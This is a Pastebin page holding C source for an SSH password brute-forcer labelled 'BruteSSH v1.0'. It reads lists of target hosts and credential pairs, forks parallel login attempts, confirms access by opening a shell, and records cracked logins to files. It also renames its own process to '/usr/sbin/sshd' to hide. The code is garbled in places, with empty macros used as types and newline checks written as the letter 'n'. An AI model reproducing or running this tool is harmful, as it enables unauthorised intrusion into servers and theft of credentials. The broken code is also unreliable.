Advertisement
mysql_Anarchy

[ C ] LRAB Update.c

Jun 17th, 2018
1,317
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.13 KB | None | 0 0
  1. /*
  2. * cp /usr/local/lib/libssh.so /usr/lib/
  3. *
  4. * gcc -o update prg.c -I /usr/local/include -L /usr/local/lib/ -lssh -lpthread
  5. *
  6. * passfile: root root
  7. *
  8. */
  9. #include <stdio.h>
  10. #include <arpa/inet.h>
  11. #include <libssh/libssh.h>
  12. #include <netinet/in.h>
  13. #include <string.h>
  14. #include <sys/socket.h>
  15. #include <sys/types.h>
  16. #include <netdb.h>
  17. #define SSH_VERSION
  18. #define NORM  "\033[00;00m"
  19.  
  20. #define ALBASTRU "\033[01;34m"
  21. #define FAKE "/usr/sbin/sshd" // fake process
  22.  
  23. int flag,where;
  24. int shell(SSH_VERSION *session){
  25. struct timeval;
  26. int err;
  27. BUFSIZ *read=buffer_new();
  28. time_t start;
  29. CHANNEL *channel;
  30. channel = open_session_channel(session,1000,1000);
  31. if(isatty(0))
  32.   err=channel_request_pty(channel);
  33. err= channel_request_shell(channel);
  34. start=time(0);
  35. while (channel->open!=0)
  36.   {
  37.    usleep(500000);
  38.    err=channel_poll(channel,0);
  39.    if(err>0){
  40.    err=channel_read(channel,read,0,0);
  41.     }
  42.    else
  43.    {
  44.     if(start+5<time(0))
  45.     {
  46.      return 1;
  47.     }
  48.    }
  49.    }
  50.    return 0;
  51.   }
  52.  
  53. void checkauth(char *user,char *password,char *host) {
  54.  struct hostent *hp;struct in_addr  *myaddr;
  55.  SSH_VERSION *setsid;
  56.  IP_OPTIONS *optind;
  57.  int argc = 1;
  58.  char *argv[]={"none"};
  59.  FILE *vulnf,*nolog;
  60.  where++;
  61.  alarm(10);
  62.  optind=ssh_getopt(&argc,argv);
  63.  options_set_username(optind,user);
  64.  options_set_host(optind,host);
  65.  setsid = ssh_connect(optind);
  66.  if(!setsid) return ;
  67.  if(ssh_userauth_password(setsid,NULL,password) != SSH_AUTH_SUCCESS)
  68.  {
  69.   ssh_disconnect(setsid);
  70.   return;
  71.  }
  72.  if(shell(setsid))
  73.  {
  74.  if(!flag){
  75.   myaddr=(struct in_addr*)malloc(sizeof(struct in_addr));
  76.   myaddr->s_addr=inet_addr(host);
  77.   hp = gethostbyaddr((char *) myaddr,4,AF_INET);
  78.   if((hp!=NULL)){
  79.   vulnf=fopen("vuln.txt","a+");
  80.   fprintf(vulnf,"%s:%s %s -> %s\n",user,password,host,hp->h_name);
  81.   printf("\nCracked -> %s:%s %s -> %s\n",user,password,host,hp->h_name);}
  82.   else{
  83.   vulnf=fopen("root.txt","a+");
  84.   fprintf(vulnf,"%s:%s %s -> Can not solve dns\n",user,password,host);
  85.   printf("\nCracked -> %s:%s %s -> Can not solve dns\n",user,password,host);
  86.   }
  87. //  flag=1;
  88.   fclose(vulnf);
  89.  }
  90.  }
  91.  else{ // if ssh login is denied, printf() && log it
  92.     myaddr=(struct in_addr*)malloc(sizeof(struct in_addr));
  93.     myaddr->s_addr=inet_addr(host);
  94.     hp = gethostbyaddr((char *) myaddr,4,AF_INET);
  95.    nolog=fopen("nologin.txt","a+");
  96.    if((hp!=NULL)){
  97.    fprintf(nolog,"%s %s %s -> %s\n",user,password,host,hp->h_name);
  98.    printf("\nNologin -> %s %s %s -> %s\n",user,password,host,hp->h_name);}
  99. else
  100. {
  101.  fprintf(nolog,"%s %s %s -> n-are host\n",user,password,host);
  102.    printf("\nNologin -> %s %s %s -> n-are host\n",user,password,host);}
  103.  
  104.    fclose(nolog);
  105.  }
  106. }
  107. int main(int argc, char **argv)
  108. {
  109.  FILE *fp,*passf;
  110.  char *c;
  111.  char buff[4096];
  112.  char *a[80196], nutt[4096], *temp, *t, *string;
  113.  malloc(sizeof(a));
  114.  malloc(sizeof(nutt));
  115.  int count = 0, i;
  116.  int numforks,maxf;
  117.  if((passf=fopen("pass_file","r")) == NULL)
  118.   {
  119.   printf("\e[1;31mFATAL: I have not found pass_file\n"NORM);
  120.   return -1;
  121.   }
  122.    while (fgets(nutt,2024,passf))
  123.       {
  124.         while (t = strchr (nutt,'n'))
  125.         *t = '.';
  126.         temp = strtok (nutt, " ");
  127.         string = strdup (temp);
  128.         a[count++]=string;
  129.          while (temp = strtok (NULL, " "))
  130.           {
  131.               string = strdup (temp);
  132.               a[count++]=string;
  133.           }
  134.  
  135.              }
  136.  fclose(passf);
  137.  if(argc!=2)
  138.  {
  139.   printf("\n\e[1;31m%s <max forks>\n"NORM,argv[0]);
  140.   exit(0);
  141.  }
  142.  if((fp=fopen("mfu.txt","r"))==NULL) exit(printf("\e[1;31mFATAL: I can't open mfu.txt\n"NORM));
  143.  printf("\e[1;31mBruteSSH v1.0 \e[00;00m- \e[1;32mBy ur mums fanny\n"NORM);
  144.  maxf=atoi(argv[1]);
  145.  
  146. strcpy(argv[0],FAKE);    // fake the proccess name.
  147.  while(fgets(buff,sizeof(buff),fp))
  148.  {
  149.   c=strchr(buff,'n');
  150.   if(c!=NULL) *c='.';
  151.   if (!(fork()))
  152.   {
  153.   where=0;
  154. //   printf("--> Atacare %s",buff);
  155.  for (i=0; i<count; i=i+2){
  156. //   printf("--> Try %s:%s %s\n",a[i],a[i+1],buff);
  157.      checkauth(a[i],a[i+1],buff); // try to auth
  158.  }
  159.   exit(0);
  160.   }
  161.   else
  162.   {
  163.  numforks++;
  164.  if (numforks > maxf)
  165.  for (numforks; numforks > maxf; numforks--)
  166.  wait(NULL);
  167.   }
  168.  }
  169. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement